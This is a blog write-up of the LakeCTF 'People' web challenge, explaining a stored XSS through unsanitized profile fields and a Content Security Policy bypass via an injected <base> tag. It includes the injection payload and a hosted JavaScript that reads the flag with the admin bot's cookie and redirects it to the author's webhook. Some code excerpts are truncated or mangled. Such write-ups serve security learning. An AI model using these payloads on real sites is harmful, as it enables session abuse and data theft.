Skip to main content
  1. My Blog Posts and Stories/

LakeCTF Writeup (Web: People)

··1241 words·6 mins
Table of Contents

NUS Greyhats participated in LakeCTF and it just ended! I’m going to start some writeup on some of the challenges I’ve contributed to.

You can view the post on the NUSGreyhats page here when it goes live.

Web: People #

With the new People personal pages,
all the members of the EPFL community
can have their own page personalize it
with Markdown and much more...

This challenge involves a profile page that we can edit. There is also an admin who will visit our page when there is a profile that is reported.

The first thing that I though of was Cross Site Scripting. Usually, when there is an admin bot involve, chances are the website was vulnerable to cross site scripting.

Here is the website

Website for CTF
Signup for CTF Challenge

Scanning through the main file, I was looking for things that are user controlled inputs. If we take note of how the user inputs are treated. In this case these were the main code that we were looking at.


@main.route('/signup', methods=['POST'])
def signup_post():
    email = request.form.get('email')
    password = request.form.get('password')
    fullname = request.form.get('fullname')
    title = request.form.get('title')
    lab = request.form.get('lab')
    bio = request.form.get('bio')

    user = User.query.filter_by(email=email).first()
    if user:
        flash('Email address already exists', 'danger')
        return redirect(url_for('main.signup'))

    new_user = User(id=secrets.token_hex(16),



    return redirect(url_for('main.profile'))


@main.route('/edit', methods=['POST'])
def edit_post():
        'fullname': request.form.get('fullname'),
        'title': request.form.get('title'),
        'lab': request.form.get('lab'),
        'bio': request.form.get('bio')

    return redirect(url_for('main.profile'))


Looking at the functions above, we can see that they inputs from the users were not sanitized. This means that whatever we sent to might be loaded at some time later on. This seems like a good sign for Reflected XSS.

Login page
Login Page for CTF Challenge

After inspecting the webpage, we can see that some of our variables are on the page.

Now that we know that our inputs can be tainted, we need to take a look at where the results of our inputs are loaded. The function mainly consists of the following code.


@main.route('/profile', defaults={'user_id': None})
def profile(user_id):
    if user_id:
        user = User.query.filter_by(id=user_id).first()
        if not user:
    elif current_user.is_authenticated:
        user = current_user
        return redirect(url_for('main.login'))

    return render_template('profile.html', user=user, own_profile=user == current_user)


This means that the variables were passed to the profile.html template which is rendered by jinja2.

In flask, the variables passed into it are auto escaped unless some instructions were used to unescape it, such as |safe or {% autoescape false %}. For more information you can refer to jinja’s documentation.

<dl class="definition-list definition-list-grid">
    <dd class="flex">
        href="mailto:{{ user['email'] }}"
        class="btn btn-sm btn-primary"
            {{ user['email'] }}


<dd class="flex">
    {% if own_profile %}
        <a href="{{ url_for('main.edit') }}" class="btn btn-sm btn-secondary">Edit profile</a>
    {% endif %}
    <form action="{{ url_for('', _external=True, user_id=user['id']) }}" method="post">
        <button type="submit" class="btn btn-sm btn-secondary">Report profile</a>


        <div class="markdown">{{ user['bio'] }}</div>


{% set description = '%s at %s' % (user['title'], user['lab']) %}
{% block title %}{{user['fullname']}} | {{description|safe}}{% endblock %}

As we can see from the template, most of the variables are loaded into the template with sanitization except for user['title'] and user['lab']. This means that it was the only place for us to put our XSS payload.

Burp Suit Track Request
Burp Edit Request

Using Burp Suite, I manage to trace down the request to edit the page. By sending it to the repeater, we can edit the request later to edit our profile at will.

Burp Suit Repeater page
Burp repeater page

From the repeater page, we can see that all of the fields are sent over in plain text. Although title and lab are implemented as dropdowns within the website, we are still able to send other different values through burp.

Time to send a script tag right?

After sending script tag
Sending Script Tag

I was expecting to place a script there and call it a day, however, the flask file was protected by a Content Security Policy

csp = {
    'script-src': '',
    'object-src': "'none'",
    'style-src': "'self'",
    'default-src': ['*', 'data:']

This means that any of the scripts that I include must contain a nonce and any other objects I used cannot have an external source.

Hmm, I was stuck. I cannot use <script> or <img onerror='...'> directly anymore. I needed another way to bypass this.

From the help of another CTF fellow player, I learnt that there was something called a base injection. A <base> tag can be injected into the website which makes it default all its import links to use that url as a base.

If I inject that into the title field, any subsequent script tags will import from that base instead.

Time to put that into action.

I uploaded by script to github here and setup github pages to give me an ip address to use as a base. I also created a folder structure that corresponds to the path that the website is importing from.

function httpGet(theUrl) {
  var xmlHttp = new XMLHttpRequest();"GET", theUrl, false); // false for synchronous request
  return xmlHttp.responseText;
let payload1 = "/";
try {
  const resp456416512364p = httpGet("http://web:8080/flag");
  payload1 =
    "" +
} catch {

const DOMPurify = {
  sanitize: () => {
    document.location.href = payload1;

document.location.href = payload1;

In the script, I make a GET request to the location of the flag. If I am able to get the flag, I will send it to my webhook. If not, I will just redirect to the home page.

The url for the website is derived based on the admin bot script

async def visit(user_id, admin_token):
    url = f'http://web:8080/profile/{user_id}'
    await page.setCookie({'name': 'admin_token', 'value': admin_token, 'url': 'http://web:8080', 'httpOnly': True, 'sameSite': 'Strict'})

TLDR: This admin script asks the bot to visit web:8080 and set the cookie admin_token to the value of admin_token. This means that the bot will visit web:8080/profile/{user_id} with the admin cookie set.

  container_name: web
    context: .
    dockerfile: Dockerfile.web
    - redis
    - "8080:8080"

In docker, we can reference the hostname of a container by using their container name. The admin bot visits web:8080 as that is the configuration set in the docker-compose.yml file as shown above. So in this case, my script prompts a get request to web:8080/flag instead of the full url.

After that the request is attached as a query parameter to the base url of my webhook site and the page was subsequently redirected to it.

It was time to inject my base and see the result on

The payload that I used for the base injection is shown below and the github link upload is hosted at that url. This payload was only injected into the lab field.

This payload will work if you inject it into either of the fields as both of them are combined together to form the description in the title tag.

</title><base href="" />
<!-- If the payload website was -->

The </title> closes the title tag and the <base> tag is the payload. The href attribute is the base url that the website will use to import from.

After tinkering around for a few hours, I manage to get the redirect and the flag was mine.

Final flag shown on
Final Flag

The flag is attached to the url as a query parameter

Flag: EPFL{Th1s_C5P_byp4ss_1s_b4sed}

If you want to try the challenge, you can find it here.

Note Not sure why but it took a few tries to get the flag to show up.